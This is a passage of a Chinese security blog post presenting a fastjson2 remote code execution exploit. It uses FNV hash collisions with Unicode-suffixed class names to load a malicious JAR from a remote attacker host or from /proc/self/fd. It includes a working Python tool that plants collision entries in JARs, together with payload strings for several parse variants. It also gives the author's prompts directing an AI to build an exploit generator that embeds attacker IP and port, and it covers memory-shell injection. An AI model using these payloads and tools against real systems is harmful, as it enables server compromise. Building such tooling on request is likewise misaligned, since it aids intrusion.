+ 将 \\uXXXX 格式的字符串解码为实际 unicode 字符.
+ 支持混合字面字符和转义序列: "Hello\\u4e16\\u754c" -> "Hello世界"
+ 若传入的已是实际字符 (无 \\u 转义), 原样返回.
+ """
+ pattern = re.compile(r'\\u([0-9a-fA-F]{4})')
+ return pattern.sub(lambda m: chr(int(m.group(1), 16)), s)
+
+
+def split_extension(name):
+ """
+ 分离条目名的主体和扩展名.
+ Hello.class -> ('Hello', '.class')
+ com/foo/Bar.class -> ('com/foo/Bar', '.class')
+ Hello -> ('Hello', '')
+ """
+ idx = name.rfind('.')
+
+
+ if idx > 0 and '/' not in name[idx:]:
+ return name[:idx], name[idx:]
+ return name, ''
+
+
+def main():
+ if len(sys.argv) != 4:
+ print(__doc__)
+ sys.exit(1)
+
+ jar_path = sys.argv[1]
+ original_class = sys.argv[2]
+ unicode_str = sys.argv[3]
+
+
+ decoded = decode_unicode_escapes(unicode_str)
+
+
+ base_name, ext = split_extension(original_class)
+
+
+ new_entry_name = base_name + decoded + ext
+
+ print("═" * 64)
+ print(" JAR 碰撞条目复制工具")
+ print("═" * 64)
+ print()
+ print(f" JAR 文件: {jar_path}")
+ print(f" 原 class 条目: {original_class}")
+ print(f" Unicode 输入: {unicode_str}")
+ print(f" 解码后字符: {repr(decoded)}")
+ print(f" 解码后 Unicode: {''.join(chr(c) for c in [ord(c) for c in decoded])!r}")
+ decoded_unicode_repr = ''.join('\\u{:04x}'.format(ord(c)) for c in decoded)
+ print(f" 解码后转义形式: {decoded_unicode_repr}")
+ print()
+ print(f" 新条目名: {repr(new_entry_name)}")
+ new_unicode_repr = ''.join('\\u{:04x}'.format(ord(c)) for c in new_entry_name)
+ print(f" 新条目 Unicode: {new_unicode_repr}")
+ print()
+
+
+ if not os.path.exists(jar_path):
+ print(f" ✗ JAR 文件不存在: {jar_path}")
+ sys.exit(1)
+
+
+ try:
+ with zipfile.ZipFile(jar_path, 'r') as zf:
+ names = zf.namelist()
+ if original_class not in names:
+ print(f" ✗ 原 class 条目 [{original_class}] 不在 JAR 中")
+ print()
+ print(" JAR 当前条目列表:")
+ for n in names:
+ display = n.encode('utf-8', errors='backslashreplace').decode('utf-8')
+ print(f" {display}")
+ sys.exit(1)
+ original_data = zf.read(original_class)
+ existing_new = new_entry_name in names
+ except zipfile.BadZipFile:
+ print(f" ✗ 不是有效的 ZIP/JAR 文件: {jar_path}")
+ sys.exit(1)
+
+ print(f" ✓ 找到原条目 [{original_class}], 大小 {len(original_data)} 字节")
+ if existing_new:
+ print(f" ⚠ 新条目已存在, 将覆盖")
+
+
+ fd, tmp_path = tempfile.mkstemp(suffix='.jar')
+ os.close(fd)
+
+ try:
+ print()
+ print(" 写入新 JAR...")
+ with zipfile.ZipFile(jar_path, 'r') as src:
+ with zipfile.ZipFile(tmp_path, 'w', zipfile.ZIP_DEFLATED) as dst:
+
+ for item in src.infolist():
+ if item.filename == new_entry_name:
+ continue
+
+ dst.writestr(item, src.read(item.filename))
+
+ dst.writestr(new_entry_name, original_data)
+
+
+ shutil.move(tmp_path, jar_path)
+ print(f" ✓ 已添加新条目")
+
+ except Exception as e:
+ if os.path.exists(tmp_path):
+ os.unlink(tmp_path)
+ print(f" ✗ 操作失败: {e}")
+ sys.exit(1)
+
+
+ print()
+ print("─" * 64)
+ print(" 验证结果")
+ print("─" * 64)
+ print()
+ with zipfile.ZipFile(jar_path, 'r') as zf:
+ names = zf.namelist()
+ print(f" JAR 条目列表 ({len(names)} 项):")
+ for n in names:
+ display = n.encode('utf-8', errors='backslashreplace').decode('utf-8')
+ unicode_repr = ''.join('\\u{:04x}'.format(ord(c)) for c in n)
+ marker = ' ★ 新增' if n == new_entry_name else ''
+ print(f" {display}{marker}")
+ if n == new_entry_name:
+ print(f" unicode: {unicode_repr}")
+ data = zf.read(n)
+ if data == original_data:
+ print(f" 内容校验: ✓ 与原条目一致 ({len(data)} 字节)")
+ else:
+ print(f" 内容校验: ✗ 与原条目不一致!")
+ print(f" 原条目: {len(original_data)} 字节, 新条目: {len(data)} 字节")
+
+ print()
+ print("═" * 64)
+
+
+if __name__ == '__main__':
+ main()
+
最终结果:
+

+
当前仅是驻留到受害机 /proc/{pid}/fd 中案例, 先使用 0kb 的文件做测试:
+

+
最终驻留成功.
+
POC 调试 & 攻击案例
+
刚才的脚本仅仅是将jar 中的 class 文件名称符合传递的@type中的资源值, 若想要满足 RCE 还需要该 class 文件的内容(字节码)的类名同样带有 Unicode 编码. 此时对 AI 对我原 fastjson 1.2.83 的脚本进行说明了:
+
我这里有一个项目:/Users/heihu577/Desktop/fastjson2/tools/fastjson-1.2.83-rce-jar-generator-1.0.1/GenJarBatch.java,你可以 阅读一波 README.md 文件之后,再看一波该 java 源码,现在我给你定义新的需求。新增:fnv_add_unicode_file 功能,对 cmd 或
+ defineClass 生成的 jar 文件进行分析。1: 分析出来 cmd 或 defineClass 生成的 jar 包,通过查看包名的形式能够定位到 fd0.Exception(假设生成的 class 文件是该结构,如果存在多个目录中存在 class 文件就依次进行如下操作),那么你可以通过 ASM 类库或者其他手段分析包名以及类名的结构来拼接为之前案例中的: python fnv_collision.py --prefix
+ "jar:http:..2887610369:2333.Hello\!.Hello" -6293031534589903644 中的 --prefix 部分(可能是 jar:file:.proc.self.fd.数字!. fd 数字.Exception)这种结构。2. 根据枚举出来的 包名类名结构,通过 python fnv_collision.py --prefix "jar:http:..2887610369:2333.Hello\!.Hello" -6293031534589903644 该脚本的逻辑来进行计算(是根据逻辑,但你需要写出对应
+ java 模块的功能来使得与该 python 的结果一致才行),得到其后缀需要增加的 Unicode 码部分。3. 你已经知道了要增加什么 Unicode 编码之后,你需要将 Hello 类中的字节码中的类名部分进行修改(可以使用 asm 实现),修改为 “Hello+Unicode 值”,并且将该 class 文件加入到 jar 包中(文件名同样符合类名规律)。整个过程全部使用 java 语言,禁止 java 中嵌套 python。
+
坐等很长时间后, 又优化了一些细节:
+
最后生成的 jar 包中,不是含有 class 文件吗,然后会输出:“jar:file:.proc.self.fd.256!.fd256.Exception醍눲䕹ᄬ憬”,我现在想让你把每次处理完毕的结果保存到"result.txt" 中。并且内容是:jar:file:.proc.self.fd.<NUM>!.fd<NUM>.Exception<Unicode 编码>,因为 fd 目录可能太多,然后你需要换行分割。
+
用于爆破时使用. 但外部 http 需要远程下载 jar 到 /proc/self/fd 中, 继续给 AI 思路:
+
现在对原有的 cmd/defineClass 做一个变更,就是写入 jar 文件中的 1.class 文件,为命令行中指明的 host 和 port 名称,或者整个命令行也可以。
+
这是因为自己原编写的 fastjson 1.2.83 payload 的命令行参数存在攻击者 IP 和 PORT, 需要符合后续包名.
+
让你做这一步,实际上是为了让你在 fnv_add_unicode_file 功能中增加两个需求:1. 解析 1.class 文件内容中的 ip 和 port 部分,组合为:jar:http:..<IP的10进制>:<IP的端口号>.<命令行中指明的文件名>!.1 2. 对组合结果进行 z3-fnv算法解方程,最后要拼接出:jar:http:..<IP的10进制>:<IP的端口号>.<命令行中指明的文件名>!.1<Unicode编码> 3. 拼接完成之后,在最终处理的 jar 包内增加这样一个真实文件,最最最后需要告诉用户首先使用该 payload 进行远程服务器下载。
+
最终实现效果, 先是工具提示远程拉取:
+

+
随后是工具生成的 result.txt 进行爆破:
+

+
另外这里调教 AI 使用了 java 的 z3 实现解方程的效果.
+
内存马注入
+
先是用工具生成 jar, 生成完毕之后进行转换为 FastJson2 版本, 等待 Hash 碰撞完整 jar:
+

+
最终结果:
+

+
其他语法
+
参考: https://mp.weixin.qq.com/s/1niSP0dXlYql7euC5tMwPw 师傅的两个姿势, 除了 JSON.parseObject 以外仍然可以通过:
+
JSON.parseObject(可控,List.class)
+JSON.parseObject(可控,Set.class)
+JSON.parse(可控)
+
进行 RCE, 简单跟一下:
+
String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
+
+Object obj = JSON.parseObject(jsonWithType, List.class);
+System.out.println(obj);
+

+
以及:
+
String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
+
+Object obj = JSON.parseObject(jsonWithType, Set.class);
+

+
以及:
+
String jsonWithType = "[{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}]";
+
+Object obj = JSON.parse(jsonWithType);
+System.out.println(obj);
+

+
相对于 JSON.parse 来说, 多了一步选择器的操作:
+

+
其他补充
+
往上找一下看还有哪些语法能够调用该方法的 readObject, 查找了一番有如下类:
+
JSON.parseObject(jsonWithType, Collection.class);
+JSON.parseObject(jsonWithType, ArrayList.class);
+JSON.parseObject(jsonWithType, HashSet.class);
+JSON.parseObject(jsonWithType, Comparable.class);
+JSON.parseObject(jsonWithType, Serializable.class);
+JSON.parseObject(jsonWithType, Cloneable.class);
+JSON.parseObject(jsonWithType, Closeable.class);
+JSON.parseObject(jsonWithType, Object[].class);
+
规律参考:
+
+
+
+| 子类 |
+类型 |
+
+
+
+
+| List 系 |
+Iterable, Collection, List, AbstractCollection, AbstractList, ArrayList, Stack |
+
+
+| Queue/Deque 系 |
+Queue, Deque, AbstractSequentialList, LinkedList, ConcurrentLinkedDeque, ConcurrentLinkedQueue, CopyOnWriteArrayList |
+
+
+| Set 系 |
+Set, AbstractSet, EnumSet, NavigableSet, SortedSet, ConcurrentSkipListSet, LinkedHashSet, HashSet, TreeSet |
+
+
+
+
可能还有更多 parseObject 手法可打.
+
Ending...
+